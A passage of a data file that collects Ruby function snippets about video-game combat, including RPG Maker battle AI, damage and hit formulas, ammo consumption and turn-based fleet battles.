&& @weapon == 'Battle Axe'\n # char_att.dmg(:physical, rand(11) + 10, 0, false)\n # end\n # if @c_class == 'Wizard' && @weapon == 'Fireball'\n # char_att.dmg(:fire, rand(10) + 6, 0, false)\n # end\n # if @c_class == 'Wizard' && @weapon == 'Ice Spikes'\n # char_att.dmg(:ice, rand(10) + 6, 0, false)\n # end\n # if @c_class == 'Wizard' && @weapon == 'Crushing Grasp'\n # char_att.dmg(:magic, rand(10) + 6, 0, false)\n # end\n # if @c_class == 'Shinobi' && @weapon == 'Tanto'\n # char_att.dmg(:magic, rand(6) + 6, 6, false)\n # end\n # if @c_class == 'Shinobi' && @weapon == 'Ninjato'\n # char_att.dmg(:magic, rand(12) + 6, 3, false)\n # end\n # end\n end",
"def decide_target(char, dmg, heal, neutral, attack, defend, escape)\n # temporary variables\n x, y, ai = char.x, char.y, char.ai\n # get alignment setup\n negative, positive = ai.negative, ai.positive\n # invert setup if confused\n negative, positive = positive, negative if char.restriction == 3\n # initialize arrays\n allies, enemies = [char], []\n # if enemy\n if char.is_a?(Map_Enemy)\n # find all allies and all enemies in memory\n ai.memory.each_key {|b|\n allies.push(b) if positive.include?(b.ai.group)\n enemies.push(b) if negative.include?(b.ai.group)}\n # if actor\n elsif char.is_a?(Map_Actor)\n # find all allies and all enemies in sight\n ai.sight.each {|b|\n allies.push(b) if positive.include?(b.ai.group)\n enemies.push(b) if negative.include?(b.ai.group)}\n end\n # find all allies who need healing\n to_heal = allies.find_all {|b| b.valid? && b.battler.hp < b.battler.maxhp}\n # if decided to heal\n if (heal.size > 0 && to_heal.size > 0 && (ai.healer || rand(3) == 0) &&\n rand(5) == 0)\n # find all skills that heal all allies\n allheal = heal.find_all {|id|\n $data_skills[id].scope == 2 || $data_skills[id].scope == 4 ||\n $data_skills[id].scope == 6}\n # test again flag\n test_again = true\n # if more than 1 ally who needs healing exists and allheal skills exist\n if to_heal.size > 1 && allheal.size > 0\n # initialize data\n decided, now, new = nil, [], []\n # iterate through all all-healing skills\n allheal.each {|id|\n # fake Blizz-ABS action setup\n ai.act.set(Skills.range(id), ACTSkill, id, Skills.type(id)[0],\n ai.delay_time)\n # all allies who can be targeted by this skill\n new = to_heal.find_all {|b| $BlizzABS.can_execute?(char, b, ai.act)}\n # if not decided yet\n if decided == nil\n # decide this skill and those allies\n decided, now = id, new\n # 50% chance\n elsif rand(2) == 0\n # intialize damage counters\n dmg1 = dmg2 = 0\n # sum up all damage for last decided targets\n now.each {|b| dmg1 += b.battler.maxhp - b.battler.hp}\n # sum up all damage for new targets\n new.each {|b| dmg2 += b.battler.maxhp - b.battler.hp}\n # decide this skill if it contains battlers with more damaged HP\n decided, now = id, new if dmg2 > dmg1\n # if more battlers would be affected by this skill\n elsif new.size > now.size\n # decide this skill and those allies\n decided, now = id, new\n end}\n # if more than one battler can be healed\n if now.size > 1\n # setup Blizz-ABS action\n ai.act.set(Skills.range(decided), ACTSkill, decided,\n Skills.type(decided)[0], ai.delay_time / 2)\n # don't test for one battler\n test_again = false\n end\n end\n # if should test for one battler\n if test_again\n # find all skills that heal one ally\n oneheal = heal.find_all {|id|\n $data_skills[id].scope == 1 || $data_skills[id].scope == 3 ||\n $data_skills[id].scope == 5}\n # if any skill exists\n if oneheal.size > 0\n # decided action\n decided = oneheal[rand(oneheal.size)]\n # decided target\n ai.target = to_heal[rand(to_heal.size)]\n else\n # decided action\n decided = heal[rand(heal.size)]\n end\n # stop execution if no skill decided\n return false if decided == nil\n # setup Blizz-ABS action\n ai.act.set(Skills.range(decided), ACTSkill, decided,\n Skills.type(decided)[0], ai.delay_time / 2)\n end\n # confirm execution\n return true\n end\n # not decided to escape yet\n escaping = false\n # if able to run away\n if escape && rand(5) == 0\n # if observation attribute is active\n if ai.observe && char.restriction != 3\n # iterate through all enemies\n enemies.each {|b|\n # if actor\n if b.is_a?(Map_Actor) && ai.observation[b.battler] != nil\n # get damage per second rate\n dps = get_observation(b.battler, ai.observation[b.battler].clone)\n # 20% chance or damage per second-distance rate high enough\n if rand(5) == 0 || dps * 128 / Math.hypot(b.real_x-\n char.real_x, b.real_y-char.real_y) > char.battler.hp / 2\n # set this battler as escape reference\n ai.target = b\n # running away\n escaping = true\n # abort iteration\n break\n end\n end}\n # 20% chance\n elsif rand(5) == 0\n # initialize minimum range\n min = nil\n # iterate through all enemies\n enemies.each {|b|\n # if closer than anybody else\n if (b.is_a?(Map_Actor) && (min == nil ||\n Math.hypot(b.real_x-char.real_x, b.real_y-char.real_y) < min))\n # set this battler as escape reference\n ai.target = b\n # set new minimum range\n min = Math.hypot(b.real_x-char.real_x, b.real_y-char.real_y)\n # running away\n escaping = true\n # abort iteration\n break\n end}\n end\n end\n # if decided to escape\n if escaping\n # set AI state\n ai.state = Escape\n # set action data\n ai.act.set(ai.view_range - 1, ACTEscape, 0, 0, 80)\n # confirm execution\n return true\n end\n # not decided to defend yet\n defending = false\n # if able to defend\n if defend && rand(5) == 0\n # probability factor if higher if defensive and reset defend flag\n factor = rand(ai.defensive ? 10 : 30)\n # if decided to defend\n if char.battler.hp * 100 / char.battler.maxhp < factor\n # if observation attribute is active\n if ai.observe && char.restriction != 3\n # iterate through all enemies\n enemies.each {|b|\n # if actor\n if b.is_a?(Map_Actor) && ai.observation[b.battler] != nil\n # get damage per second rate\n dps = get_observation(b.battler,\n ai.observation[b.battler].clone)\n # 20% chance or damage per second-distance rate high enough\n if rand(5) == 0 || dps * 128 / Math.hypot(b.real_x-\n char.real_x, b.real_y-char.real_y) > char.battler.hp / 3\n # defending\n defending = true\n # abort iteration\n break\n end\n end}\n # 33% chance\n elsif enemies.size > 0 && rand(5) == 0\n # decided to defend\n defending = true\n end\n end\n end\n # if decided to defend\n if defending\n # set AI state\n ai.state = Defend\n # target the closest enemy\n ai.target = enemies.min {|a, b|\n Math.hypot(x-b.x, y-b.y) <=> Math.hypot(x-a.x, y-a.y)}\n # turn toward the target if target exists and not being force moved\n char.turn_toward(ai.target) if ai.target != nil && char.move_type != 3\n # use defend action\n char.use_defend\n # set action data\n ai.act.set(3, ACTDefend, 0, 0, rand(31) + 70)\n # confirm execution\n return true\n end\n # number of skills\n skill_number = dmg.size + heal.size + neutral.size\n # if able to attack and chosen to attack\n if attack && (skill_number == 0 || rand(skill_number) == 0)\n # if enemy\n if char.is_a?(Map_Enemy)\n # set AI state\n ai.state = Ready\n # setup Blizz-ABS action\n ai.act.set(Enemies.range(char.battler_id), ACTAttack, 0,\n Enemies.type(char.battler_id), ai.delay_time)\n # if observing attribute and not confused\n if ai.observe && char.restriction != 3\n # decide a target based upon observation experience\n observation_target(char, ai, enemies)\n end\n # if actor\n elsif char.is_a?(Map_Actor)\n # set AI state\n ai.state = Ready\n # setup Blizz-ABS action\n ai.act.set(Weapons.range(char.battler.weapon_id), ACTAttack, 0,\n Weapons.type(char.battler.weapon_id), ai.delay_time)\n end\n # if no target exists\n if ai.target == nil || !ai.target.valid?\n # get any enemy\n ai.target = enemies[rand(enemies.size)]\n end\n # confirm execution\n return true\n end\n # decide a random skill action\n decided = (dmg + neutral)[rand(dmg.size + neutral.size)]\n # if action exists\n if decided != nil\n # if observing\n if ai.observe && char.restriction != 3\n # decide a target based upon observation experience\n observation_target(char, ai, enemies)\n end\n # if no target was decided\n if ai.target == nil || !ai.target.valid?\n # if targeting enemies\n if $data_skills[decided].scope == 0 ||\n $data_skills[decided].scope == 1 ||\n $data_skills[decided].scope == 2\n # select a random enemy target\n ai.target = enemies[rand(enemies.size)]\n else\n # select a random ally target\n ai.target = allies[rand(allies.size)]\n end\n end\n end\n # stop execution if no target selected\n return false if ai.target == nil || !ai.target.valid?\n # setup Blizz-ABS action\n ai.act.set(Skills.range(decided), ACTSkill, decided,\n Skills.type(decided)[0], ai.delay_time)\n # confirm execution\n return true\n end",
"def equal?(attack)\n @fighter == attack.fighter &&\n @bomber == attack.bomber\n end",
"def attack_effect_critical_correction(attacker)\r\n if rand(100) < 4 * attacker.dex / self.agi\r\n self.damage *= 2\r\n self.critical = true\r\n end\r\n end",
"def attack_process(ch)\n # temporary variable\n ai = ch.ai\n # determine whether actor or enemy for easier reference\n if ch.is_a?(Map_Actor)\n # decide target group\n group = ((ch != $game_player && ch.restriction == 3)) ?\n ai.positive : ai.negative\n # determine range\n d = Weapons.range(ch.battler.weapon_id)\n d = 1 if d < 1\n # determine type\n type = Weapons.type(ch.battler.weapon_id)\n # determine charge\n charge = Weapons.charge(ch.battler.weapon_id)\n # determine projectile speed\n projectile_speed = Weapons.projectile_speed(ch.battler.weapon_id)\n else\n # determine target group depending on confusion\n group = (ch.restriction == 3 ? ai.positive : ai.negative)\n # determine range\n d = Enemies.range(ch.battler_id)\n d = 1 if d < 1\n # determine type\n type = Enemies.type(ch.battler_id)\n # determine charge\n charge = Enemies.charge(ch.battler_id)\n # determine charge\n charge[0] = BlizzABS::CHARGEMove if charge[0] == BlizzABS::CHARGETrigger\n # determine projectile speed\n projectile_speed = Weapons.projectile_speed(ch.battler_id)\n end\n # if item shooting type\n if type == BOW_ARROW\n # temporary variable\n ids = Weapons.consume(ch.battler.weapon_id)\n # if no more items\n if !ids.include?(ch.battler.item) ||\n $game_party.item_number(ch.battler.item) == 0\n # can't use\n return false\n end\n end\n # if not charging already\n if charge[0] != CHARGENone && !ch.charging?\n # setup charging\n ch.setup_charge(ch, charge)\n # not used yet\n return false\n end\n # create affection area depending on attack type\n case type\n when SWORD, SPEAR, FLAIL # sword attack\n # get attack affection area\n area = $BlizzABS.util.get_attack_area(ch, d, type)\n when BOOMERANG # returning projectile attack\n # decide spriteset\n spriteset = ch.is_a?(Map_Actor) ?\n BlizzABS::SPRProjWeapon + ch.battler.weapon_id.to_s :\n BlizzABS::SPRProjEnemy + ch.battler_id.to_s\n # create returning projectile\n proj = Map_Projectile.new(spriteset, ch, 0, d, projectile_speed,\n REMReturning, group)\n when BOW # projectile attack\n # decide spriteset\n spriteset = ch.is_a?(Map_Actor) ?\n BlizzABS::SPRProjWeapon + ch.battler.weapon_id.to_s :\n BlizzABS::SPRProjEnemy + ch.battler_id.to_s\n # create returning projectile\n proj = Map_Projectile.new(spriteset, ch, 0, d, projectile_speed,\n REMNormal, group)\n when BOW_ARROW # item consuming projectile\n # remove one item from inventory\n $game_party.lose_item(ch.battler.item, 1)\n # temporary variable\n item = $data_items[ch.battler.item]\n # get item explosion data\n explode = Items.type(item.id)\n # if explosion exists\n if explode[1] != EXPLNone\n # fix the missing explosion animation error\n explode[2] = 0 if explode[2] == nil\n # create projectile from exploding item with weapon attack effect\n proj = Map_Projectile.new(BlizzABS::SPRProjItem + item.id.to_s, ch,\n item.id, d, projectile_speed, REMShotItem, group, false,\n explode[1, 3])\n else\n # create projectile from item with weapon attack effect\n proj = Map_Projectile.new(BlizzABS::SPRProjItem + item.id.to_s, ch,\n item.id, d, projectile_speed, REMShotItem, group)\n end\n when SHURIKEN # self consuming weapon\n # temporary variable\n weapon = $data_weapons[ch.battler.weapon_id]\n # unequip last weapon if no more weapons in inventory\n ch.battler.equip(0, 0) if $game_party.weapon_number(weapon.id) == 0\n # remove one weapon from inventory\n $game_party.lose_weapon(weapon.id, 1)\n # self shooting weapon, create projectile from weapon\n proj = Map_Projectile.new(BlizzABS::SPRProjWeapon + weapon.id.to_s, ch,\n weapon.id, d, projectile_speed, REMShotWeapon, group)\n end\n # if projectile fired\n if proj != nil\n # add projectile to buffer\n $BlizzABS.cache.remotes.push(proj)\n # used\n return true\n end\n # iterate through all battlers\n ($game_map.battlers + $BlizzABS.battlers).each {|battler|\n # if target can be hit considering all conditions\n if battler.battler != nil && group.include?(battler.ai.group) &&\n !battler.battler.dead? && @util.intersection(area,\n Rect.new(battler.real_x / 4, battler.real_y / 4, 32, 32))\n # execute attack\n battler.attack_effect(ch, ch.battler)\n # clear damage displays\n battler.battler.damage, battler.battler.damage_pop = nil, false\n end}\n # enemies were attacked\n return true\n end",
"def attacks(player)\n dice = compute_damage\n puts \"#{@name} attaque #{player.name} : Il lui inflige #{dice} points de dommages\"\n player.life_points = player.life_points - dice\n end",
"def attack(opponent)\n amplifier = (rand * DamageVariable).ceil\n dmg = 0\n if amplifier + strength > opponent.defense || amplifier == DamageVariable\n dmg = strength * (rand + 0.5)\n dmg -= opponent.defense\n dmg = 1 if dmg < 0\n end\n dmg.ceil\n end",
"def did_block?(item, is_crit = false,user)\r\r\n return false unless item.for_opponent?\r\r\n return false if @base_attack_roll == 20\r\r\n return false if item.magical?\r\r\n \r\r\n @base_attack_roll += user.attack_roll(item).to_i\r\r\n \r\r\n rate = 0\r\r\n result = false\r\r\n real_ac = self.armor_class\r\r\n \r\r\n @states.each do |state|\r\r\n real_ac += $data_states[state].armor_class\r\r\n end\r\r\n \r\r\n \r\r\n if actor?\r\r\n for equip in equips\r\r\n next if equip.nil?\r\r\n next if is_crit && !equip.does_block_crit\r\r\n next if !does_block?(equip, item)\r\r\n break if result == true\r\r\n \r\r\n result = true if (real_ac + adjusted_block_rate(equip, item)) > @base_attack_roll\r\r\n end\r\r\n end\r\r\n \r\r\n if !result\r\r\n real_ac = self.armor_class + calc_block_rate(item)\r\r\n end\r\r\n \r\r\n #puts \"THAC0:#{@real_thac0} AC:#{real_ac}\"\r\r\n result = @base_attack_roll + @real_thac0 < real_ac\r\r\n \r\r\n if real_ac > 0 && ($game_system.show_roll_result? || $force_show_roll_result)\r\r\n $game_message.battle_log_add(sprintf(\"** Block Result: **\"))\r\r\n $game_message.battle_log_add(sprintf(\"** %s's %20s\",self.name , \"AC:\" + real_ac.to_s))\r\r\n $game_message.battle_log_add(sprintf(\"** %s's %20s\",user.name , \"Attack Roll(adjusted):\" + (@base_attack_roll + @real_thac0).to_s))\r\r\n end\r\r\n \r\r\n return result\r\r\n end",
"def attack\n total_for(:attack) \n end",
"def evade\n return false if (@enemies < 1 and @captives < 1) or # There are units to interact\n enemies_close or # There are enemies close\n captives_close or # There are captives close \n !warrior.feel(get_stairs_location).stairs? # There are no stairs close\n puts \"Evading the stairs, there are unit to interact with still\"\n Directions.each do |dir|\n if warrior.feel(dir).stairs?\n Directions.each do |new_dir|\n if !warrior.feel(new_dir).stairs? and\n !warrior.feel(new_dir).wall? and\n !warrior.feel(new_dir).enemy? and\n !warrior.feel(new_dir).captive? and \n warrior.feel(new_dir).empty? and \n dir == warrior.direction_of(warrior.listen.first)\n return warrior.walk! new_dir\n end\n end \n end\n end\n return false\n end",
"def test_attackSkill\n f = SkillFilter.new(\"attack\", true)\n new_list = @usableItems.find_all{|x| f.apply(x)}\n return new_list.size == 44\n end",
"def attack\r\n\t\tputs \"#@name the #@type attacks!\"\r\n\t\tputs \" \"\r\n\t\t$attack = rand(20..60)\r\n\tend",
"def attack( unit )\n x = unit.x\n y = unit.y\n \n result = send \"<attack x='#{x}' y='#{y}'/>\"\n process_attack result\n @game.last_attacked = @game.map[ x, y ].unit\n true\n end",
"def attack(direction)\n @weapon.attack(direction)\n end",
"def game_attack_formula( attacking_zones, support_attackers, defending_zone, support_defenders )\n\n # Get the user data.\n # ==================\n\n auser = User.find_by_id( attacking_zones[0].user_id )\n duser = User.find_by_id( defending_zone.user_id )\n\n # Gather the attacking strength\n # =============================\n\n modifier = ( attacking_zones.size() + 1 ) / 2 # Multiplier for amount you have the enemy surrounded.\n apower = ( ATTACK_POWER_SOLDIER * attacking_zones.size() * auser.total_soldiers / auser.total_zones )\n # Temporary calculation until we use soldier count per zone.\n\n #apower\t\t= 0\t\t\t\t# Temporarily commented out until we're using soldier count for each zone.\n #for z in attacking_zones\n #\tapower\t+= z.soldiers\n #end\n\n apower *= modifier\n\n for z in support_attackers\n if z.artillery == true\n apower += ATTACK_POWER_ARTILLERY\n end\n end\n\n # Gather the defending strength\n # =============================\n\n #dpower\t\t= ATTACK_POWER_SOLDIER * defending_zone.total_soldiers\t# Same reason.\n\n dpower = duser.total_soldiers / duser.total_zones\n if duser.bunker\n dpower *= BUNKER_DEFENSE_MULTIPLIER\n end\n\n for z in support_defenders\n if z.artillery == true\n dpower += ATTACK_POWER_ARTILLERY\n end\n end\n\n # Run some formula to figure out what happens.\n # ============================================\n\n srand()\n baseP = [50 - 4*dpower/20, 10 ].max\n prop = ( BaseP + apower / dpower ) / 10\n results = {}\n\n if rand() > prop then\n\n # A successful attack! Decide what happens!\n # We'll need to determine how many defending soldiers flee and how many attackers are lost.\n # =========================================================================================\n\n dSoldiers = duser.total_soldiers\n aSoldiers = auser.total_soldiers\n fleeCount = ( dSoldiers * ATTACK_MAX_UNIT_FLEE_PERCENT * rand() ).floor\n artilleryGet = rand() < ATTACK_ARTILLERY_HIJACK_PERCENT if defending_zone.artillery == true\n aLosses = [ aSoldiers-2, ( aSoldiers * ATTACK_MAX_UNIT_LOSS_PERCENT * rand() ).floor ].max # Make sure the user still has 2 soldiers left.\n\n # Set the Results.\n # ================\n\n results[:result] = true\n results[:dloss] = dSoldiers - fleeCount\n results[:dflee] = fleeCount\n results[:dartillery] = artilleryGet\n results[:aloss] = aLosses\n\n else\n\n # Defense stands strong! Decide what happens!\n # Basically we need to decide how many units the offense and defense will lose.\n # =============================================================================\n\n srand()\n aLPerc = rand() * ATTACK_MAX_UNIT_LOSS_PERCENT # Percent modifier that the attacker will lose from the attack: Basically 30% * rand(0 to 1)\n dLPerc = rand() * aLPerc # Percent modifier that the defender will lose from the attack: The one from before * rand(0 to 1)\n\n aLoss = [ ( auser.total_soldiers * aLPerc ).floor, auser.total_soldiers - 1 ].min # So make sure attacker will have at least one soldier left ( so they can occupy their own zone still. )\n dLoss = [ ( duser.total_soldiers * dLPerc ).floor, duser.total_soldiers - 1 ].min # So make sure duser will have at least one soldier left.\n\n # Set the results.\n # ================\n\n results[:dloss] = dLoss\n results[:aloss] = aLoss\n results[:result] = false\n\n end\n\n # Return the results\n # ==================\n\n return results\n\n end",
"def is_one_attack?\n get_model.is_one_use_weapon?\n end",
"def attack()\n return @level + rand(3) - rand(3)\n end",
"def attack_effect_second_hit_result(attacker)\r\n eva = 8 * self.agi / attacker.dex + self.eva\r\n hit = self.damage < 0 ? 100 : 100 - eva\r\n hit = self.cant_evade? ? 100 : hit\r\n return (rand(100) < hit)\r\n end",
"def damaged?\n health < MAX_HEALTH\n end",
"def check_attack_effects(user, item)\n check_effects(user.effect_objects, \"attack\", user, item)\n end",
"def fight\n # TODO: Add this back in, in a curses way\n #puts\n #puts \"========FIGHT========\"\n #puts \"#{@hero.name} Vs #{@monster.name}\"\n #puts\n\n # Populate an array with X number of levels Hero is and Y number of levels Monster is\n # This way whoever is a higher level has a better chance of attacking \n attack_arr = []\n @hero.level.to_i.times { attack_arr.push(\"Hero\") }\n @monster.level.to_i.times { attack_arr.push(\"Monster\") }\n\n # Loop until one character dies\n while @hero.cur_health > 0 && @monster.cur_health > 0\n case attack_arr.shuffle.first\n when \"Hero\" then @monster.cur_health -= @hero.strength\n when \"Monster\" then @hero.cur_health -= @monster.strength\n end\n end\n\n return (@hero.cur_health > @monster.cur_health)\n end",
"def attack!(unit_to_attack)\n if self.dead?\n puts \"You are dead.\"\n elsif unit_to_attack.dead?\n puts \"Enemy is dead.\"\n else\n # SiegeEngine > Barracks = x2 Damage\n if unit_to_attack.is_a?(Barracks) && self.is_a?(SiegeEngine)\n unit_to_attack.damage((@attack_power * 2).ceil)\n \n # Footman > Barracks = 1/2 Damage\n elsif unit_to_attack.is_a?(Barracks) && self.is_a?(Footman)\n unit_to_attack.damage((@attack_power / 2).ceil)\n \n # SiegeEngine > Footman = 0 Damage\n elsif unit_to_attack.is_a?(Footman) && self.is_a?(SiegeEngine)\n unit_to_attack.damage((@attack_power = 0).ceil)\n else\n unit_to_attack.damage(@attack_power)\n end\n end\n end",
"def battle\n # Runden auf 0 setzen, continue auf true (Für die Schleife)\n round = 0\n continue = true\n victory = false\n # Bilde Arrays mit allen nötigen Werten für den Kampf\n turn_fleet = build_array(@attacker, @attacker_fleet)\n target_fleet = build_array(@defender, @defender_fleet)\n emp_phase(@attacker)\n emp_phase(@defender)\n # Angreifer beginnt\n turn_user = @attacker\n target_user = @defender\n while (round < 1000 && continue ) do\n round = round + 1\n if target_user == @defender\n @fight_shield = @defender_shield\n else\n @fight_shield = @attacker_shield\n end\n # Damit alle Gruppen in einer Runde nur auf das Schild feuern können\n shield = @fight_shield\n # Für die Ausgabe der Runden-Berichte\n turn_fleet.each do |fleet|\n # Nur Einheiten mit Anzahl > 0 und Schaden > 0 können kämpfen\n if fleet[1] > 0 && fleet[2] > 0 \n # Bestimme Ziel anhand von id.\n # -2 ist Miss\n # -1 ist Schild\n target = hit(target_fleet, turn_user)\n if(target==-1)\n mult = 1\n # Falls Ionenwaffe, wird Schaden an Schild erhöht\n if fleet[3] == 2\n mult = DamageType.find(fleet[3]).shield_mult\n end\n damage = fleet[2] * mult\n # Abzug des Schilds. Übernahme erst bei nächster Runde\n @fight_shield = @fight_shield - damage\n else\n mult = 1\n # Falls Laserwaffe, wird Schaden an Hülle erhöht\n # TABELLE DAMAGETYPE EINFÜGEN\n if (fleet[3] == 1)\n mult = DamageType.find(fleet[3]).shell_mult\n end \n if fleet[3] == 3 and !fleet[6]\n mult = DamageType.find(fleet[3]).station_mult\n end\n if fleet[3] == 4 and fleet[0] == @plattform_id\n mult = DamageType.find(fleet[3]).plattform_mult\n end \n # Bestimme welche Einheit getroffen wurde\n victim = target_fleet[target]\n # Schadensberechnung\n damage = fleet[2] * mult\n # Berechne neue HP\n hit_points = victim[-2]\n victim[-2] = hit_points-damage\n # Berechne Anzahl und Schaden neu\n update_ship_group(victim, target_user)\n end\n end \n end\n # Füge Runden-Bericht ein\n # Testet, ob Spieler noch Truppen besitzt\n if (defeat(target_fleet))\n continue = false\n if turn_user == @attacker\n victory = true \n end\n else\n # Falls Schild unter 0, wird er auf 0 gesetzt\n if @fight_shield < 0\n @fight_shield = 0\n end\n # Kampf-Schild für nächste Runde\n if target_user == @attacker\n @attacker_shield = @fight_shield\n else\n @defender_shield = @fight_shield\n end\n # Tausche Rolle des Angreifers aus\n tmp_fleet = turn_fleet\n tmp_user = turn_user\n turn_fleet = target_fleet\n turn_user = target_user\n target_fleet = tmp_fleet\n target_user = tmp_user\n end\n # Füge alle Runden-Berichte hinzu\n end\n if continue\n @report << \"Unentschieden! \"\n @report << \"Es konnte kein Sieger ermittelt werden \"\n else \n @report << \"Die Flotte von #{target_user.username} unterlag. \"\n @report << \" #{turn_user.username} war siegreich! \"\n end\n # Generiere Verlustrechnung\n attacker_fleet_ary = []\n defender_fleet_ary = []\n if turn_user == @attacker\n lost_report(turn_fleet, @attacker) \n lost_report(target_fleet, @defender) \n attacker_fleet_ary = turn_fleet\n defender_fleet_ary = target_fleet\n else\n lost_report(target_fleet, @attacker) \n lost_report(turn_fleet, @defender) \n\n attacker_fleet_ary = target_fleet\n defender_fleet_ary = turn_fleet\n end\n update_fighting_fleet(@attacker_fleet, attacker_fleet_ary)\n update_fighting_fleet(@defender_fleet, defender_fleet_ary)\n ary = [@attacker_fleet, @defender_fleet] \n return [@report, @spy_report]\n end",
"def attacks(player)\n\t\tputs \"#{@name} attaque #{player.name} !\"\n\t\tdamage = compute_damage\n player.gets_damage(damage)\n \n\t\tif player.life_points > 0\n\t\tputs \"#{@name} lui inflige #{damage} points de dommage.\\n\\n\"\n\t\telse \n\t\t\tputs \"Oups, #{player.name} c'est fait décapité...\\n\\n\"\n end\n\n end",
"def attacks(enemy)\n puts \"#{@name} attaque #{enemy.name}\"\n damage = compute_damage\n puts \"il lui inflige #{damage} points de dommages\"\n enemy.gets_damage(damage)\n end",
"def being_attacked\n\tif @enemy_health > 0\n\t\t@enemy_power -= rand(-3..3)\n\t\tputs \"The #{@enemy} attacks again, doing #{@enemy_power - @defense} damage.\"\n\t\t@health -= (@enemy_power - @defense)\n\t\tfight\n\telse\n\t\tputs \"You beat the #{@enemy}!\"\n\t\tputs \"\"\n\t\tputs \"+#{@enemy_power + rand(9) + (@luck * @luck_points)} pointless points!\"\n\t\t@pointless_points += (@enemy_power + rand(9) + (@luck * @luck_points))\n\t\tcontroller\n\tend\nend",
"def calculate_hit(move, attacker, defender)\n type = move_type(move)\n base_pwr = move_power(move)\n atk_mul = attack_multiplier(type, defender.type.prim, defender.type.sec)\n stab = (type == attacker.type.prim || type == attacker.type.sec) ? 1.5 : 1\n\n # TODO: Critical hits.\n cr = 1\n\n atk_bonus = attack_bonus(attacker.level)\n def_bonus = defense_bonus(defender.level)\n\n r = rand(85...100) / 100.0\n mod = stab * atk_mul * cr * r\n # base_dmg = (((attacker.level * 2 / 5.0 + 2) *\n # base_pwr * atk_bonus / 50 / def_bonus + 2) *\n # cr * r / 100 * stab * atk_mul)\n base_dmg = ((2 * attacker.level + 10) / 250.0 *\n (atk_bonus / def_bonus) * base_pwr + 2) * mod\n\n # TOOD: Check levitate, fire absorb, water absorb, volt absorb,\n # sap sipper, etc.\n return 0 if immune_from_ability?(move, defender)\n\n # Handle wonderguard mode.\n return 0 unless atk_mul > 1 if @modes.include?(:wonderguard)\n\n base_dmg.round\n end",
"def attacking_vertical?\n false\n end",
"def check_special_skills(ch, targets, skill)\n # if Tons of Add-ons is being used\n if $tons_version != nil && $tons_version >= 6.4\n # if using absorbing skills\n if $game_system.ABSORB_HP_SP\n # set damage accumulation to 0\n damages = 0\n # if skill absorbs HP\n if SKILL_IDS_HP.include?(skill.id)\n # for each target\n targets.each {|target|\n # if damage was done\n if target.battler.damage.is_a?(Numeric)\n # accumulate damage\n damages += target.battler.damage\n end}\n # change battler HP\n ch.battler.hp += damages\n # request damage sprite\n $BlizzABS.util.request_damage_sprite(ch)\n # if skill absorbs SP\n elsif SKILL_IDS_SP.include?(skill.id)\n # for each target\n targets.each {|target|\n # if damage was done\n if target.battler.damage.is_a?(Numeric)\n # accumulate damage\n damages += target.battler.spdamage\n # remove damage\n target.battler.damage = nil\n # make SP damage text\n target.check_spdamage\n end}\n # change battler SP\n ch.battler.sp += damages\n # request damage sprite\n $BlizzABS.util.request_damage_sprite(ch)\n end\n end\n # if using Destructor Skill and battler should die\n if $game_system.DESTRUCTOR_SKILL && ch.battler.set_to_die\n # kill\n ch.battler.hp = 0\n end\n # if using Blus Magic Skills\n if $game_system.BLUE_MAGIC_SKILL && BLUE_MAGIC_IDS.include?(skill.id)\n # remove damage for all targets\n targets.each {|target| target.battler.damage = nil}\n # get a random target\n target = targets[rand(targets.size)]\n # try to learn\n if rand(100) < skill.hit\n # if enemy\n if target.battler.is_a?(Game_Enemy)\n # initialize array\n ids = []\n # get all skill IDs of the target\n target.battler.actions.each {|act|\n ids.push(act.skill_id) if act.kind == 1}\n # if actor\n elsif target.battler.is_a?(Game_Actor)\n # get all skill IDs of the target\n ids = target.battler.skills.clone\n end\n # if any ID exists\n if ids.size > 0\n # get skill\n newskill = $data_skills[ids[rand(ids.size)]]\n # if already knowing that skill\n if ch.battler.skills.include?(newskill.id)\n # make damage text\n target.battler.damage = \"#{newskill.name} known\"\n else\n # learn skill\n target.battler.learn_skill(newskill.id)\n # make damage text\n target.battler.damage = \"#{newskill.name} learned\"\n end\n else\n # no skills available\n target.battler.damage = 'None available'\n end\n else\n # not successful\n target.battler.damage = 'Miss'\n end\n end\n end\n end",
"def skill_effect_physical_hit_result(skill)\r\n # If physical attack has power other than 0\r\n if skill.power != 0 and skill.atk_f > 0\r\n # State Removed by Shock\r\n remove_states_shock\r\n # Return True\r\n return true\r\n end\r\n # Return False\r\n return false\r\n end",
"def evaluate_attack_with_target(target)\n target.clear_action_results\n target.make_attack_damage_value(battler)\n return target.hp_damage.to_f / [target.hp, 1].max\n end",
"def no_advantage_check\n $game_temp.advantage = false if $game_temp.no_advantage or not Allow_Advantage\n $game_temp.disvantage = false if $game_temp.no_disvantage or not Allow_Disvantage\n $game_temp.pre_emptive = false if $game_temp.no_pre_emptive or not Allow_Pre_Emptive\n $game_temp.surprised = false if $game_temp.no_surprised or not Allow_Surprised\n $game_temp.raid_attack = false if $game_temp.no_raid_attack or not Allow_Raid_Attack\n $game_temp.back_attack = false if $game_temp.no_back_attack or not Allow_Back_Attack\n $game_temp.invert_postion = ($game_temp.back_attack and Invert_Back_Attack)\n end",
"def calc_spirit_attack\n features_sum(:spirit_attack)\n end",
"def attack_effect_damage\r\n self.hp -= self.damage\r\n end",
"def attacks(player)\n puts \"#{@name} attaque #{player.name}\"\n damage = compute_damage\n puts \" il lui inflige #{damage} points dommages\"\n player.gets_damage(damage)\n end",
"def ty_execute_action_attack\n # Check to see if the current attacker is the actor and is using a weapon that needs ammo\n if @active_battler.is_a?(Game_Actor) && TysAmmoRequirements::Weapons_ammo_cost[@active_battler.weapon_id]\n # Both checks clear, so perform Ammo adjustments\n # First we collect some end-user options, like ammo cost and ammo ID.\n gather_ammo_cost = TysAmmoRequirements::Weapons_ammo_cost[@active_battler.weapon_id]\n # This handles multiple ammunition for the same weapon. First we check if the setting is an array\n if TysAmmoRequirements::Weapons_ammo_id[@active_battler.weapon_id].is_a?(Array)\n # Check passed, so now we store the array items\n array_items = TysAmmoRequirements::Weapons_ammo_id[@active_battler.weapon_id]\n # Now we check each ID in array_items and compare to see if we have enough ammo\n for index in array_items\n # Check to see if the actor has enough ammo\n if $game_party.item_number($data_items[index]) >= gather_ammo_cost\n # Check cleared, gather item ID and terminate check loop\n gather_ammo_item = $data_items[index]\n break\n end\n end\n else\n gather_ammo_item = $data_items[TysAmmoRequirements::Weapons_ammo_id[@active_battler.weapon_id]]\n end\n # Next we check to make sure the attacking actor has enough ammo\n if $game_party.item_number(gather_ammo_item) >= gather_ammo_cost\n # The check cleared, so perform ammo adjustments\n # Consume Ammunition\n $game_party.lose_item(gather_ammo_item, gather_ammo_cost)\n # Display text\n text = 